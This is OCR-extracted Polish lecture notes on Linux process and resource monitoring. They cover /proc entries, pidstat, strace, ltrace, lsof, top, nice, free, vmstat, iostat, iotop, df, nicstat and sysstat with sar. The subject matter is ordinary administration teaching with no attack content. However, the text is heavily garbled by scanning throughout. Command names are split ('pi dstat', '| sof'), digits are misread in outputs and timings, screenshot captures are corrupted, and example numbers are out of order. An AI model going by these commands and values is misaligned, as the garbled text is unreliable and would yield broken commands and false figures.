-r--r--r-- 1 juka juka O lut 9 12:31 stack
-r--r--r-- 1 juka juka O lut 9 11:35 stat
-r--r--r-- 1 juka juka O lut 9 12:11 statm
-r--r--r-- 1 juka juka O lut 9 11:35 status
-r--r--r-- 1 juka juka O lut 9 12:31 syscal
dr-xr-xr-x 3 juka juka O lut 9 12:31 task
-r--r--r-- 1 juka juka O lut 9 12:31 timers

Przyktad 4-7 Zawartos¢ katalogu /proc/2256 zawierajacego dane o procesie PID=2256

Katalog zawiera zaréwno pliki jak i inne katalogi. Pliki (zauwazmy ze maja dtugosé¢ 0) zawieraja réznorodne
informacje o procesie. Dostep do tych informacji uzyska¢ mozna za pomoca standardowych narzedzi systemu
stuzacych do wyswietlania zawartosci plikow np. poleceniacat , | ess, itp. Przyktad wyswietlenia zawartosci pliku
/ proc/ 2256/ st at us podano ponizej.

cat /proc/ 2256/ status

Nane: bash

St at e: S (sl eeping)
Tgi d: 2256

Ngid: O

Pid: 2256

PPi d: 2246

TracerPid: O

Uid: 1000 1000 1000 1000
G d: 1000 1000 1000 1000
FDSi ze: 256

Wyjasnienie znaczenia plikéw i podkatalogéw folderu / pr oc uzyskujemy z rozdziatu 5 podr¢cznika man

$man 5 proc

[ proc/[pid]/cmdline Nazwe polecenia za pomoca ktorego utworzono proces
[proc/[pid]/io Statystyki operacji wejsciawyjscia

[ proc/[pid]/status Status procesu, wykorzystanie pamieci
/proc/[pid]/limts Limity zasobow

/ proc/[pid]/sched Informacj e dotyczace szeregowania procesu

Tab. 4-1 Znaczenie niektérych plikéw wirtualnego katalogu / pr oc/ [ pi d] /
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$cat /proc/2256/io0
rchar: 4438601

wchar: 1817409

syscr: 7625

syscw. 4569

read_bytes: 950272

write bytes: 12288
cancelled wite bytes: 0

Przyktad 4-8 Testowaniel i czby bajt éw czytanych i pisanych przez proces

[ proc/[pid]/fdinfo/ Informacje o plikach ktére proces otworzyt
[ proc/[pid]/fd/ Deskryptory plikéw ktdre proces otworzyt
/ proc/[pid]/net/ Informacje dotyczace sieci

Tab. 4-2 Znaczenie niektorych katal ogdéw wirtualnego katalogu / proc/ [ pi d] /

cat /proc/2256/fdinfo/1l
pos: O
fl ags: 0100002

Przyktad 4-9 Uzyskanieinformacji o pliku z katalogu / pr oc/ 2256/ f di nfo/ 1

415 Narzedzie pidstat

Narzedzie pi dst at umozliwia sledzenie w czasie aktywnosci okreslonego procesu. Narzedzie uruchamiasi¢ jak
ponizey:

pi dstat —p pid_procesu interwat

pi dstat —C "nazwai d_procesu” interwat

Interwat okresla czestotliwos¢ probkowania. Program moze by¢ uruchomiony z roznymi opcjami pokazujgcymi
wykorzystanie pamieci, stosu, itp. Przyktad dany jest ponizegj.

$pi dstat —C "szeregowl” 2

Li nux 3. 13.0-74-generic (Ubol) 11. 02. 2016 _x86_64_ (4 CPUY)

14: 05: 30 u D PI D Yusr %system %Yguest %CPU CPU Conmand
14: 05: 32 1000 12284 99, 50 0, 00 0, 00 99, 50 3 szeregowl
14: 05: 32 u D PI D Qusr Y%system %Yguest uCPU  CPU  Conmmand
14: 05: 34 1000 12284 100, 00 0, 00 0,00 100,00 3 szeregowl

Przyktad 4-10 Monitorowanie w czasie procesu szeregowl za pomoca harzedzia pidstat

Parametr guest okreslawykorzystanie maszyny wirtualnej

4.1.6 Polecenia strace — §ledzenie wywolan systemowych

Polecenie systemowe jest fragmentem kodu w ktdrym proces aplikacyjny zwraca sie do jadra systemu ze zleceniem
wykonania okreslong] akcji. Polecenie st r ace umozliwiaich $ledzenie. Aby zbada¢ jakie wywotania systemowe
wykonuje dany program, polecenie st r ace wywolat moznaw nastepujacy sposob:

$strace program [argunenty]

W ponizszym przyktadzie pokazano wywotania systemowe polecenia
cat ps1.txt

Polecenie to testuje zawartos¢ pl i ku psl.t xt jak pokazano ponizej.

$ cat psl.txt
PID TTY TI ME CMD
2388 pts/6 00: 00: 00 bash
2402 pts/6 00: 00: 00 ps
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Aby zbada¢ jakie wywotania systemowe w kolejnosci sa wykonywane piszemy polecenie:
$ strace cat psl.txt

Wyniki pokazuje ponizszy przyktad.

&S & juka@ubol: ~

Plik Edycja widok wyszukiwanie Terminal Pomoc
mprotect(6x7f00413bboee, 4896, PROT_READ) = @

munmap({@x7fee4139e000, 108814) =g
brk(e) = Bx1bg8booo
brk(exibaceea) = Bx1lbacoae

open(" fusr/1lib/locale/locale-archive"”, 0_RDONLY|O_CLOEXEC) = 3
fstat(3, {st _mode=S_IFREG|0644, st size=8464112, ...}) = @
mmap(NULL, 8464112, PROT_READ, MAP_PRIVATE, 3, ©) = 0x7f00405c1000

close(3) =8
fstat(1, {st_mode=S_IFIF0|0680, st size=08, ...}) = @
open("ps1.txt", O_RDONLY) =13

fstat(3, {st_mode=S_IFREG|0664, st _size=84, ...}) = 0
fadvise64(3, @, 0, POSIX_FADV_SEQUENTIAL) = @
read(3, " PID TTY TIME CMD\n 238"..., 65536) = 84
write(1, " PID TTY TIME CMD\n 238"..., 84 PID TTY TIME CMD
2388 pts/6 00:00:00 bash
2402 pts/6 00:00:00 ps
) = 84
read(3, "", 65536) =
close(3) =
close(1) =
close(2) =
exit group(®) =
+++ exited with 8 +++
(END)

LRSI e [ i - e ]

Przyktad 4-11 Dziatanie polecenia strace cat plik

4.1.7 Polecenia ltrace — sledzenie wywolan bibliotek
Poleceniel t r ace pokazuje wywotania bibliotek wspotdzielonych (ang. shared library). Nie pozwala natomiast na
$ledzenie dostepu do bibliotek statycznych (dotgczanych do kodu programu). Posta¢ polecenia

Itrace —opcje pol ecenie [argunenty]
Przykiad polecenial t r ace:
$ltrace |'s szeregowl.c

dany jest ponizegj.
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&S E juka@Ubol: ~flab/szeregow
Plik Edycja Widok wyszukiwanie Terminal Pomoc

juka@uUbol:~/1lab/szeregow$ ltrace 1ls szeregowl.c
__libc_start _main(ex4e28ce, 2, ox7ffffda24afds, 0x411e60 <unfinished ...=>

strrchr("1s", '[') = nil
setlocale(LC_ALL, "") = "pl_PL.UTF-8"
bindtextdomain("coreutils", "/usr/share/locale") = "/fusr/share/locale"
textdomain("coreutils") = "coreutils"
__cxa_atexit(0x40a200, 0, O, OX736C6974756572) = d

isatty(1) =]
getenv("QUOTING_STYLE") =Tl
getenv("COLUMNS") = nil

ioctl(1, 21523, ex7ffffda24bse) =0
getenv("TABSIZE") = nil

getopt_long(2, @x7ffffdazafds, "abcdfghiklmnopgrstuvw:xABCDFGHI:"..., 0x413080,

-1) = -1

getenv("LS_BLOCK_SIZE") = nil
getenv("BLOCK_SIZE") = nil
getenv("BLOCKSIZE") = nil
getenv("POSIXLY_CORRECT") = mLE
getenv("BLOCK_SIZE") = nil
__errno_Llocation() = Bx7f41136706cH
malloc(56) = Bxbc7040

memcpy(0xbc7040, "\a\.a\a\a\a\a\a\,a\_a\,a\a\a\a\a\a\ﬁ\a\ﬂ\a\ﬂ\aw\a\a\aw\a\a\aw\a
\B"..., 56) = Oxbc7040
__errno_location() = Bx7f41136706cH

Przyktad 4-12Przyktad polecenial trace |I's szeregowl. c

4.1.8 Czaswykonania polecenia
Czas wykonania polecenia mozna uzyska¢ za pomoca polecenia:

ti me pol ecenie.
Przyktadowo aby otrzyma¢é dane o czasie wykonania polecenia ps piszemy:

$tinme ps

real OnD.011s
user OnD. 001s
sys O0On0.011s

real —Czastrwaniaod rozpoczecia do zakonczenia procesu wliczajac czas zuzyty nawykonanie innych
dziatan

Sys — czas systemowy zuzyty nawykonanie procesu w trybie jadra

user - czas zuzyty nawykonanie procesu w trybie uzytkownika

4.1.9 Uzyskiwanie danych o plikach otwartych przez procesy

Pliki s jednym z podstawowych abstrakcji wykorzystywanych w systemie Linux. Uzyskanie informacji o otwartych
plikach nastepuje przez poleceniel sof (1ist of open fil es). Opispoleceniauzyska¢ moznaz podrecznika
man za pomoca polecenia:

$man 1 | sof
Polecenie to generuje duzg ilos¢ danych w ktdrych trudno si¢ rozeznaé. I1os¢ danych mozna ograniczy¢ przez:

Uzycie odpowiednich parametréw polecenia podaj acych informacje tylko dla okreslonego procesu, pliku,
katal ogu, uzytkownika itp.
Filtrowanie wyjscia wedtug okreslonego wzorca: | sof | grep wzorzec
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| sof —p PID Listowanie plikéw otwartych przez proces o danym PID
| sof —u user Listowanie plikdw otwartych przez procesy uzytkownikauser
| sof plik Listowanie uzytkownikdw pliku

Przyktad uzyskanie listy otwartych plikéw dla procesu o PID=2256 podano ponizej.

$l sof —p 2256
COWAND PID USER FD TYPE DEVICE SI ZE/ OFF NODE NAME
bash 2256 juka cwd DR 8,3 4096 3407874 [ hone/|j uka
bash 2256 juka rtd D R 8,3 4096 2/
bash 2256 juka txt REG 8,3 1021112 786434 /bin/bash
8,3
8,3

bash 2256 juka nmem REG 47712 1839150 /1i b/ x86_64-so
bash 2256 juka nem REG 47760 1841654 /1i b/ x86_64-..

bash 2256 j uka Ou CHR 136,0 0oto 3 /dev/pts/O
bash 2256 j uka 1lu CHR 136,0 oto 3 /dev/pts/O
bash 2256 j uka 2u CHR 136,0 0oto 3 /dev/pts/O
bash 2256 juka 255u CHR 136,0 0to 3 /dev/pts/O

Przyktad 4-13 Uzyskanie listy otwartych plikow dla okreslonego procesu

COMMAND Nazwa procesu ktory otworzyt plik

PI D PID procesu ktory otworzyt plik
USER Nazwa uzytkownika ktéry proces utworzyt
FD Uchwyt lub przeznaczenie pliku:

cwd — katalog biezacy (current working directory)
mem — plik odwzorowany w pamieci (memory)
txt - kod lub dane procesu (text)

pd —katalog macierzysty (parent)

rtd —katalog gtéwny (root)

TYPE Typ pliku:

DIR —directory

REG — regularny

CHR — Urzadzenie blokowe
FIFO —kolgka FIFO

sock — gniazdko

LINK —link
DEVI CE Gtéwny i dodatkowy numer urzadzenia na ktérym przechowywany jest plik
Sl ZE Wielkos¢ pliku
NODE Numer |-wezta
NANVE Nazwa pliku

Tab. 4-3 Znaczenie pdl polecenial sof

Zapomoca polecenialsof moznatakze uzyskac informacje jakie procesy otworzyty dany plik.

| sof /root/|ab/BUS/ prog/pliki/dir.c

COWAND PID USER FD TYPE DEVI CE SI ZE/ OFF NODE NAME
nc 4053 j uka 8r REG 8,1 336 2359491
/root/|ab/BUS/ prog/pliki/dir.c

Przyktad 4-1 Uzyskanie informacji jakie procesy otworzyty dany plik
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4.2 Pomiar obcigzenia procesor 6w systemu

421 Narzedzieuptime
Srednie obcigzenie procesorai inne dane o pracy systemu uzyska¢ mozna za pomoca poleceniaupt i me. Podawany
jest:

aktualny czas

jak dtugo pracuje komputer

ilu uzytkownikéw jest zalogowanych

obcigzenie LA w ciagu ostatniej minuty

obcigzenie LA w ciggu ostatnich pieciu minut

obciazenie LA w ciggu ostatnich pietnastu minut

Obcigzenie LA Load Average moznarozumiec jako srednig ilos¢ procesdw, ktore oczekuja nawykonanie w jednostce
czasu. W sytuacji, gdy mamy jeden procesor z jednym rdzeniem, to graniczng wartoscig, aby procesy dziataty bez
oczekiwania jest 1.00. Jesli wartosé tasi¢ zwigksza, to procesor zostaje przecigzony (ang. overloaded). W przypadku,
gdy procesor posiada cztery rdzenie, to wartos¢ tawynosi 4.00.

$upt i nme
19:22: 07 up 8:09, 4 users, |oad average: 0,00, 0,01, 0,05

4.2.2 Polecenietop
Pozwala uzyska¢ informacje o procesach sortujgc je wedtug czasu zuzycia procesora. Lista od$wiezanajest co 5
sekund. Ponizej podano przyktad wywotania poleceniatop.

$t op
PI D USER PR NI VIRT RES SHR S %PU %UEM TI ME+ COVMAND
1831 juka 20 0 83340 20m 16mS 37 0.5 1: 07. 64 gnone-system
951 root 20 0 76812 21m 10mS 10 0.5 0:41.70 Xorg
1 root 20 0 2892 1684 1224 S 0 0.0 0:00.58 init
Przyktad 4-2 Uzycie poleceniatop
Symbol Opis
PID I dentyfikator procesu
USER Nazwa efektywnego uzytkownika
PR Priorytet procesu
NI Wartos¢ parametru nice
VIRT Catkowita wielko$¢ pamigci wirtualnej uzytej przez proces
RES Wielkos¢ pamieci rezydentnej (nie podlegajacel wymianie) w kb
SHR Wielkos¢ obszaru pamigci dzielonej uzytej przez proces
S Stan procesu: R — running, D — uninteruptible running, S— sleeping, T — traced or stoped, Z - zombie
%CPU Uzycie czasu procesoraw %
%MEM Uzycie pamieci fizyczneg w %
TIME+ Skumulowany czas procesora zuzyty od startu procesu
COMMAND | Nazwa procesu

Tab. 4-4 Znaczenie parametré poleceniatop
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4.2.3 Monitor systemu
Do badania obcigzenia systemu mozna uzy¢ takze pracujacego w trybie graficznym monitora systemu.

-

Monitor systemu

Monitor systemu

Procesy | Zasoby  systemy plikow

Historia procesora

0 <otmd 50 40 30 10
[ 1 procesor 1,0% [ 2 procesor 0,0% [HM 3 procesor 3,0% [ 4 procesor 2,0%

Historia wykorzystania pamieci i przestrzeni wymiany

Pamiec = Przestrzen wymiany
827,8 MiB (21,0%) z 3,9 GiB 204,0KiB (0,0%) z 7,5 GiB

Historia sieci

@ Odbieranie 0 bajtow/s @ Wystane 0 bajtow/s

tacznie odebrane 404,4 MB tacznie wystane 12,1 MB

Ekran
4-1 Wykorzystanie monitora systemu do badania obcigzenia procesoréw

4.24 Kontrola priorytetow procesow
Priorytet procesu jest informacja dla systemu operacyjnego ja ma przydziela¢ procesowi czas procesora. Priorytety
procesow mozna obejrze¢ za pomoca polecenia:

$ ps -l

$ps -1

FSUDPD PPID CPRI N ADDR SZ WCHAN  TTY TI VE CvVD
0 S 1000 3485 2169 0 80 0 - 7085 wait pts/3 00:00: 00 bash
0 R 1000 4537 3485 0 80 0 - 3857 - pts/3 00:00: 00 ps

Przyktad 4-14 Wyswietlenie listy procesdw z priorytetami

Wygodnigj zrobi¢ to za pomoca poleceniatop co pokazano ponizej.

$t op
PI D USER PR NI VIRT RES SHR S %CPU %EM TI ME+ COWMIVAND
1831 j uka 20 0 83340 20m 16m S 37 0.5 1: 07. 64 gnone-system
951 root 20 0 76812 21m 10m S 10 0.5 0:41. 70 Xorg
1 root 20 0 2892 1684 1224 S 0 0.0 0:00.58 init

Przyktad 4-3 Uzycie polecenia top do wyswietlenia priorytetow procesow
W systemie Linux szeregowanie zalezy tak od priorytetu (0-najwyzszy, 139 najnizszy) jak i od parametru ni ceval .
Funkcjani ce zmienia priorytet procesu poprzez zmiane parametru ni ceval . Dodatnia warto$¢ parametru oznacza

zmniejszenie priorytetu procesu, natomiast ujemna— zwigkszenie. Tylko uzytkownik r oot  moze ustawia¢ wartosci
ujemne.

Jedrzej ULASIEWICZ - KatedraInformatyki Technicznej Politechniki Wroctawskiej

PDF created with pdfFactory trial version www.pdffactory.com



http://www.pdffactory.com
http://www.pdffactory.com

Bezpieczenstwo systemow i ustug informatycznych 39

nice [-nniceval] [-niceval][pol ecenie [argunmenty]]

ni ceval Modyfikacja priorytetu z zakresu od -20 do 20. (-20 najwyzszy, 20 najnizszy).
Tylko uzytkownik r oot moze ustawia¢ wartosci ujemne.

pol eceni e Polecenie ktore ma by¢ wykonane natym priorytecie

Przykiad:

nice —n 10 tar —-cvf kopia.tar /hone
Gdy proces juz si¢ wykonuje jego priorytet mozna zmieni¢ za pomoca poleceniar eni ce.
Ustawienie priorytetu polecenier eni ce:

renice niceval [[-p] pid ...] [[-9] parp ...] [[-u] user ...]

4.3 M onitor owanie zaj etosci pamieci

Linux implementuje mechanizm pamieci wirtualngj. Pamig¢ podzielona jest na strony ktdre moga by¢ umieszczone w
pamicci operacyjnej lub dyskowej. Zarzadza tym jednostka MMU (ang. Memory Management Unit). Gdy uruchamiany
jest proces nie przydzielamu sie od razu catej pamieci. Uruchamianie nowego procesu odbywa si¢ wedtug schematu:

1. Jadro faduje poczatek segmentu kodu procesu.

2. Przydzielapewna liczbe stron pamieci roboczej

3. Gdy nastepuje odwotanie do instrukgji lub danych ktérej nie maw pamieci, MMU generuje btad strony. Kontrole
przejmuje jadro i sprowadza strone do pamieci operacyjnej.

4. Gdy w systemie brakuje pamigci, nieuzywane przez proces strony sa zwalniane.

Gdy w systemie brakuje pami¢ci moze dojs¢ do jego spowolnienia lub nawet blokady. Stad wazne jest monitorowanie
zajetosci pamieci. Bilans pami¢ci mozna sprawdzi¢ za pomocg poleceniaf r ee

$free -m

t ot al used free shar ed buffers cached
Mem 3943 3683 260 49 174 2695
-/ + buffers/cache: 813 3130
Swap: 7629 0 7629

Przyktad 4-15 Dziatanie poleceniafree
Opcje:
-m wyswietl danew MB

Dane natemat zaj¢tosci pamieci mozna uzyskac takze z pliku/ pr oc/ meni nf o

cat /proc/meninfo | |ess

Meniot al : 4038400 kB
Mentr ee: 266812 kB
Buffers: 178652 kB
Cached: 2760460 kB
SwapTot al : 7813116 kB
SwapFr ee: 7812912 kB
Shmem 51432 kB

Przyktad 4-16 Wyswietlanie danych o pamieci z pliku /proc/meminfo
Innym narzedziem przydatnym do analizy dziatania systemu jest polecenie virst at . Uruchamiasi¢ je jak ponizej
$vnst at i nterwal

Gdy podamy parametr i nt er wal program bedzie dziatat w sposob ciagty i aktualizowat wyniki z danym interwatem.
Informacje natemat polecenia znalezé moznaw manual u:

$man vnst at
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procs ----------- menory---------- --- swap-- ----- io---- -system- ------ cpu-----

r b swpd free buff cache Si o] bi bo in cs us sy id wa st
0 0 204 266648 178800 2759992 0 0 222 104 120 269 4 194 1 O
0 O 204 266416 178800 2760788 0 0 0 0 254 717 1 099 0 O
1 0 204 266400 178800 2760984 0 0 0 0O 81 262 2 098 0 O

Przyktad 4-17 Monitorowanie pami¢ci za pomoca polecenia vmstat

r Liczba procesow w stanie runnable (wykonywanych lub gotowych)
b Liczba procesow w stanie uninterruptible sleep

swpd Rozmiar uzyte] pamieci wirtualnej

free Rozmiar nieuzywanej pamigci

buf f Rozmiar pamigci uzytej na bufory dyskowe

cache Rozmiar pami¢ci uzytej jako schowek

Si Rozmiar pami¢ci wirtualnej odczytanegj z dysku

SO Rozmiar pamigci wirtualnej zapisanej ha dysku

bi Liczba blokéw odczytanych z dysku

bo Liczba blokéw zapisanych na dysk

in Liczba przerwan na sekunde

CS Liczba przetagczen kontekstu na sekunde

us Czas spedzony w trybie (ang. user)

sy Czas spedzony w trybie (ang.system)

id Czas bezczynnosci (ang. idle)

wa Czas spedzony w oczekiwaniu na wescie/wyjscie

st Czas ,ukradziony” (ang. Stolen) przez maszyne wirtualna

Tab. 4-5 Znaczenie wynikow polecenia vmstat
Wielkosci ostrzegawcze:

RAM — zajetos¢ 90%
SWAP - zajetos¢ 80%

Gdy progi ostrzegawcze sg przekroczone nalezy:

Zmnigjszy¢ liczbg procesdw uruchamianych automatycznie
Zwigkszy¢ obszar swap
Zainstalowa¢ dodatkowe moduty pamieci RAM

4.4 M onitor owanie dzialanie ur zadzen wejscia wyjscia

M onitorowanie systemy wejscia/wyjscia moze by¢ wykonane za pomoca narzedzi i ost at ii ot op.

44.1 Polecenieiostat

Narzedziei ost at pokazuje biezgcg aktywnos¢ wejscialwyjscia komputera, przesytanie danych na poszczegolne
urzadzenia. Moze by¢ wykorzystane do polepszenia wydajnosci komputera.

$sudo i ost at

Li nux 3.13.0-74-generic (Ubol) 11.02. 2016 _x86_64_ (4 CPU
avg-cpu: Ywser %i ce Y%system % owait Ysteal % dl e
1,71 1,12 0, 39 0, 90 0,00 95,88

Devi ce: t ps kB read/s kB wtn/s kB read kB wrtn
sda 3,79 78,50 35, 98 6564392 3009076
sdb 0,01 0, 06 0, 78 4752 65536

Przyktad 4-18 Dziatanie narzedziaiostat
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user Procent czasu procesora spedzony w trybie user

ni ce Procent czasu procesora spedzony w trybie user z priorytetemni ce
system Procent czasu procesora spedzony w trybiesyst em

i owai t Procent czasu procesora spedzony w oczekiwaniu ha zakonczenie operacji weiwy
st eal Procent , ukradziony” (ang. Stolen) przez maszyng wirtualna

idle Procent czasu procesora spedzony na bezczynnosci

t ps Liczba transferéw na sekunde dla danego urzadzenia

kB _read/s |Liczbablokéw nasekunde czytanych przez urzadzenie

kB_wrtn/s |Liczbablokéw nasekunde pisanych przez urzadzenie

kB read Catkowita liczba blokéw na odczytanych przez urzadzenie

kB wrtn Catkowita liczba blokéw na zapisanych przez urzadzenie

Tab. 4-6 Znaczenie wynikow poleceniaiostat

Poleceniei ost at podaje dane dotyczace operacji wejscialwyjscia dla poszczegdlnych urzadzen lecz nie réznicuje

wynikow ze wzgledu na procesy.
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44.2 Polecenieiotop
Poleceniei ot op podaje dane dotyczace operacji wejscia/wyjscia dla poszczegdlnych procesdéw. Nalezy je uruchomié
w trybie root:

$sudo i ot op

e @ juka@Ubol: ~flabfszeregow

Plik Edycja Widok Wyszukiwanie Terminal Pomoc

Total DISK READ : 0.00 Bfs | Total DISK WRITE : 0.00 Bfs
|Actual DISK READ: 0.00 B/s Actual DISK WRITE: 0.00 B/fs

PRIO USER DISK READ DISK WRITE SWAPIN COMMAND

12158 be/4 root 8.00 B/s 0.00 Bfs 0.80 % 0.07 % [kworker /u8:2]
2048 be/f4 juka 0.00 Bfs 0.00 Bfs 0.00 % 0.00 % gvfsd-trash -~fs/exec_spaw/®
1 be/4 root 0.00 Bfs 0.00 Bfs 0.00 % 0.00 ¥ init
2 be/4 root 0.00 Bfs 0.00 Bfs 0.00 % 0.00 % [kthreadd]
3 be/4 root 8.00 Bfs 0.00 Bfs 0.00 % 0.00 % [ksoftirqd/e]
4 bef4 root .00 B/s 0.00 Bfs 0.00 % 0.00 % [kworker/e:0]
5 be/@ root .00 Bfs 0.00 Bfs 0.00 % 0.00 % [kworker/@:0H]
2054 be/4 juka 0.00 Bfs 0.00 Bfs 0.80 % 0.00 % gvfsd-burn --~fs/exec_spaw/1
7 be/4 root .00 B/s 0.00 Bfs 0.080 % 0.00 % [rcu_sched]
8 be/4 root 0.00 Bfs 0.00 Bfs 0.00 % 0.00 ¥ [rcuos/o]
9 be/4 root 0.00 Bfs 0.00 Bfs 0.00 % 0.00 % [rcuos/1]
10 be/4 root 0.00 Bfs 0.00 Bfs ©0.80 %¥ 0.00 % [rcuos/2]
11 be/4 root 0.08 Bfs 0.00 Bfs 0.00 % 0.00 % [rcuos/3]
12 be/4 root 0.00 Bfs 0.00 Bfs 0.00 % 0.00 % [rcu_bh]
13 be/4 root 0.00 Bfs 0.00 Bfs 0.80 % 0.00 % [rcuob/a]
14 be/4 root 0.00 B/s 0.00 Bfs 0.00 % 0.00 % [rcuob/1]
15 be/4 root 0.00 Bfs 0.00 Bfs 0.80 % 0.00 % [rcuob/2]
16 be/4 root 0.00 Bfs 0.00 Bfs 0.00 % 0.00 % [rcuob/3]
17 rt/4 root 0.00 Bfs 0.00 Bfs 0.00 % 0.00 % [migration/fe]
18 rt/4 root .00 Bfs 0.00 Bfs 0.00 % 0.00 % [watchdog/e]
Ekran 4-2 Wyniki dziatania narzedzia iotop
TID | dentyfikator procesu
PRI O Klasalpriorytet procesu dotyczacy operacji wejsciawyjscia. Rozrézniasie klasy:

be — (ang. best efford) szeregowanie sprawiedliwe

rt —(angreal time) czasu rzeczywistego, jadro preferuje takie operacje

i dl e —(ang. bezczynno$¢), operacja szeregowana gdy nie mainnych zadan
Priorytet: im liczba mnigjsza tym priorytet wyzszy

USER Uzytkownik

Dl SK READ Strumien danych czytanych z dysku

DI SK WRI TE Strumien danych pisanych na dysk

SWAPI N Procent czasu oczekiwania na przestania z przestrzeniag wymiany
e Procent czasu oczekiwania na przestaniaw trakcie operacji we/wy
COVIVAND Nazwa procesu

Tab. 4-7 Znaczenie wynikow poleceniaiotop

45 M onitor owanie dostepnosci wolnej przestrzeni w systemie plikéw

W dziatajacym systemie komputerowym wymagana jest zdolnos¢ zapisywaniainformacji ha urzadzeniach
pamieciowych zorganizowanych jako system plikéw. Informacje¢ o tym mozna uzyska¢ za pomoca poleceniadf (ang.
disk free)

#df

Fil esystem 1K- bl ocks Used Avail abl e Use% Mount ed on

/ dev/ sdal 39088480 8503092 28576764 23%/

/dev/sr0 65114 65114 0 100% / medi a/ cdr onD

Przyktad 4-19 Wyswietlanie zajetosci wolumindw dyskowych za pomoca narzedzia df

Fi | esyst em —urzadzenie pamigciowe
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1K- bl ocks - catkowita pojemnos¢ woluminu w blokach 1024 bajtéw
Used - liczba zajetych blokow

Avai l abl e - liczbawolnych blokéw

Use% - Zgjetos¢ urzadzenia w %

Mount ed on - punkt montowania

4.6 M onitor owanie obciazenia interfesu sieciowego

Kolegjnym elemenem systemu ktéry moze by¢ przecigzony to interfejs sieciowy. Do monitorowania jego stanu stuzy
polecenie ni cst at .
nicstat [-hvnsxpztualkMJ] [-iinterface] [-Sint:nbps[fd|hd]] [interval
[count]]
Ti me The time corresponding to the end of the sanple shown, in

HH: MM SS format (24-hour cl ock).

I nt The interface nane.

rkB/s, |nKB Ki | obyt es/ second read (received).
WKB/ s, CQut KB Ki | obytes/second witten (transmtted).
r Mops, RdMops Megabits/second read (received).

wMops, W Mops Megabits/second witten (transnitted).

rPk/s, Packets (TCP Segnents, UDP Datagrans)/second read (received).

wPk/ s, Packets (TCP Segments, UDP Datagrans)/second witten (trans-
mtted).

r Avs Aver age size of packets read (received).

WAV'S Aver age size of packets witten (transmtted).

%t | Percentage wutilization of +the interface.

Ti me I nt rKB/ s WKB/ s rPk/ s wPk/ s r Avs WAVS %Lt | Sat

13:33: 28 ens33 0.81 0. 02 0.59 0.25 1396.3 64.72 0.00 0. 00

13:33: 28 lo 0. 00 0. 00 0. 00 0. 00 79.44 79.44 0.00 0. 00

Przyktad 4-4 Monitorowanie stanu interfejsu sieciowego za pomoca polecenia nicstat

47  Pakiet sysstat

Poprzednio opisane narzedzia stuza do monitorowania zasobdw systemu w chwili gdy sa uruchamiane. Czesto jednak
zachodzi potrzeba ciggtego (lub okresowego) monitorowaniai zapisu wynikéw w plikach rejestrowych. Stuzy do tego
celu pakiet sysst at . Pakiet sysst at jest pakietem narzedzi systemu Linux przeznaczonym do monitorowania
systemu co opisano w [35]. W sktad jego wchodza narzedzia:

sar — zbieranie i raportowanie informacji o aktywnosci systemu
- i ostat — raportowanie uzycia CPU oraz statystyk wejscialwyjscia dyskow
- npst at — raportowanie statystyk globalnych i w podziale na poszczegdlne procesory
- pi dst at — raportowanie statystyk zadan Linuksa (procesow)
- sadf —wyswietlanie danych zebranych przez sar w réznych formatach

- ci f si ost at —raportowanie statystyk wejscia/wyjscia systeméw plikéw CIFS
Instalujemy pakiet poleceniem:

apt-get install sysstat

Proces startujemy jako ustuge za pomoca polecenia:

root @ali:/usr/lib/sysstat# /etc/init.d/ sysstat start
[ ok ] Starting sysstat (via systenttl): sysstat.service.

Sprawdzenie aktywnosci:

# systenct| status sysstat

e sysstat.service - LSB: Start/stop sysstat's sadc
Loaded: | oaded (/etc/init.d/sysstat; generated; vendor preset: disabled)
Active: active (exited) since Tue 2019-10-01 06:51:11 EDT; 2mn 41s ago
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Plik konfiguracyjny systemuto: / et ¢/ sysst at/ sysst at. Jesli chcemy aby program uruchamiat si¢
automatycznie nalezy w pliku /et ¢/ def aul t/ sysst at ustawi¢ parametr ENABLED="tr ue".

Wyniki dziatania zapisane s3 w katalogu / var / | og/ sysst at w postaci binarnej. Do przegladania zawartosci
rejestru stuzy polecenie sar . Narzedzie sar sktadasie z nastepujacych czesci umieszczonych w katal ogu:
fusr/libl/lsysstat:

sar - wyswietla zapisane dane.

sadc - system activity data collector, zapisuje w formacie binarnym dane o procesach systemowych.
sal - skrypt BASH, wykorzystuje w tle sadc, uruchamiany jest przez cron co 10 minut
(/etc/cron. d/ sysstat).

sa2 - skrypt BASH, wykorzystywany jest do zapisu dziennego raportu, uruchamiany jest przez Cron
kazdego dnia(/ et ¢/ cron. d/ sysst at).

sadf - wyswietla zapisane dane, oferujerozne formaty (CSV, XML, itd.).

Programy uruchamiane sa automatycznie przez demonacr on. Nalezy wiec sprawdzi¢ czy demon cr on pracuje.

$systenct| status cron
e cron.service - Regul ar background program processi ng daenon
Loaded: | oaded (/lib/systend/systen cron.service; enabled; vendor preset:
enabl ed)
Active: active (running) since Wd 2018-09-19 05:18: 53 EDT; 9h ago
Docs: man: cron(8)
Main PID: 384 (cron)

Przyktad 4-5 Sprawdzenie czy demon cron sie¢ wykonuje

$ cat /etc/cron. d/ sysstat

# The first element of the path is a directory where the debi an-sal
# script is |located

PATH=/ usr/1i b/sysstat:/usr/shin:/usr/sbin:/usr/bin:/sbin:/bin

# Activity reports every 10 m nutes everyday
5-55/10 * * * * root conmmand -v debian-sal > /dev/null && debian-sal 1 1

# Additional run at 23:59 to rotate the statistics file
59 23 * * * root command -v debi an-sal > /dev/null && debian-sal 60 2

Przyktad 4-6 Sprawdzenie kiedy demon cron uruchamia skrypt debi an- sal

Systemsysst at zapisuje danew katalogu / var /| og/ sysstat i utrzymujeje przez tydzien, ale mozna
wydtuzy¢ je do miesigca. Dzienne dane sg w postaci plikéw:

#1s -1 /var/log/sysstat/

sal8 sal9 sa20 sa2l sa22 sa23 sa24

Zawartos¢ plikow mozna wyswietli¢ programem sar , zakres wyswietlania specyfikuja parametry. Parametr —f podaje

nazwe pliku z okreslonego dnia, np. sar -f /var/log/sysstat/sal9.

#sar -f /var/log/sysstat/sal9

Li nux 4.6.0-kali 1-686-pae (kali) 09/ 19/ 2018 _i686_ (2 CPU)

12:28: 23 PM CPU Yaser %i ce %system % owait Yst eal % dl e
12:28: 31 PM al | 3.57 0. 00 1.85 0. 00 0. 00 94.58
12:28: 39 PM al | 1.98 0. 00 1.32 0. 00 0. 00 96. 70
12:30:11 PM al | 2.34 0. 00 1.95 0.01 0. 00 95. 70
Aver age: al | 2. 41 0. 00 1.90 0.01 0. 00 95. 68

Przyktad 4-7 Obciazenie systemu wedtug programu sysst at .

Moznatez zada¢ zakres godzinowypodajac czas rozpoczeciai zakonczenia:
Czas rozpoczecia -s[ hh:mm:ss]
